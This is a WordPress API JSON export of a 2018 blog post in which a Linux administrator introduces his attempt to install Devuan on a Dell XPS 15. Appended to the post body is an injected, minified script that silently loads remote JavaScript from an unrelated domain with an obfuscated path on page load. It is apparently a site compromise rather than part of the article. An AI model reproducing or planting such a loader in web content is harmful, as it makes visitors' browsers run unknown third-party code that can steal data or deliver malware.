{"id":81,"date":"2018-01-22T23:10:00","date_gmt":"2018-01-22T23:10:00","guid":{"rendered":"http:\/\/o.beard.ly\/?p=81"},"modified":"2025-02-06T06:02:41","modified_gmt":"2025-02-06T06:02:41","slug":"devuan-on-a-dell-xps-15-9560-2017","status":"publish","type":"post","link":"https:\/\/o.beard.ly\/index.php\/2018\/01\/22\/devuan-on-a-dell-xps-15-9560-2017\/","title":{"rendered":"Devuan on a Dell XPS 15 (9560, 2017)"},"content":{"rendered":"\n<p>I\u2019ve been a Linux Systems Administrator for more than two decades, and I\u2019m intimately aware of what\u2019s necessary to run Linux in the enterprise. I knew after the viral epidemic that is systemd, that the Linux ecosystem was inherently broken, and we needed a change. At that point, I sought out a group of folks identifying themselves as the VUA, or Veteran Unix Administrators. This group is vehemently opposed to systemd and began a fork of Debian without systemd, now known as Devuan (pronounced dev one.) Devuan is still in it\u2019s infancy, only one major release under it\u2019s belt, but it\u2019s a massively capable server platform. My company is now running solely on Devuan Linux for all of our LAMP stack applications. We are even using it for virtualization using vserver. On the desktop side of things, it\u2019s coming along quite nicely as well, but there are definitely some growing pains. My company recently purchased a Dell XPS 15 (9560, 2017) for me, and it came with Ubuntu. I figured it was time to \u201cput my money where my mouth is,\u201d and try to install Devuan on this very new hardware that uses an NVME disk and boots via UEFI. This is a journal of that experience. I\u2019m doing most of this from memory, so there may be some minor typos and\/or mistakes. Feel free to reach out if something doesn\u2019t seem correct.<\/p>\n\n\n\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>I\u2019ve been a Linux Systems Administrator for more than two decades, and I\u2019m intimately aware of what\u2019s necessary to run Linux in the enterprise. I knew after the viral epidemic that is systemd, that the Linux ecosystem was inherently broken, &hellip; <a href=\"https:\/\/o.beard.ly\/index.php\/2018\/01\/22\/devuan-on-a-dell-xps-15-9560-2017\/\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-81","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts\/81","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/comments?post=81"}],"version-history":[{"count":1,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts\/81\/revisions"}],"predecessor-version":[{"id":82,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/posts\/81\/revisions\/82"}],"wp:attachment":[{"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/media?parent=81"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/categories?post=81"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/o.beard.ly\/index.php\/wp-json\/wp\/v2\/tags?post=81"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}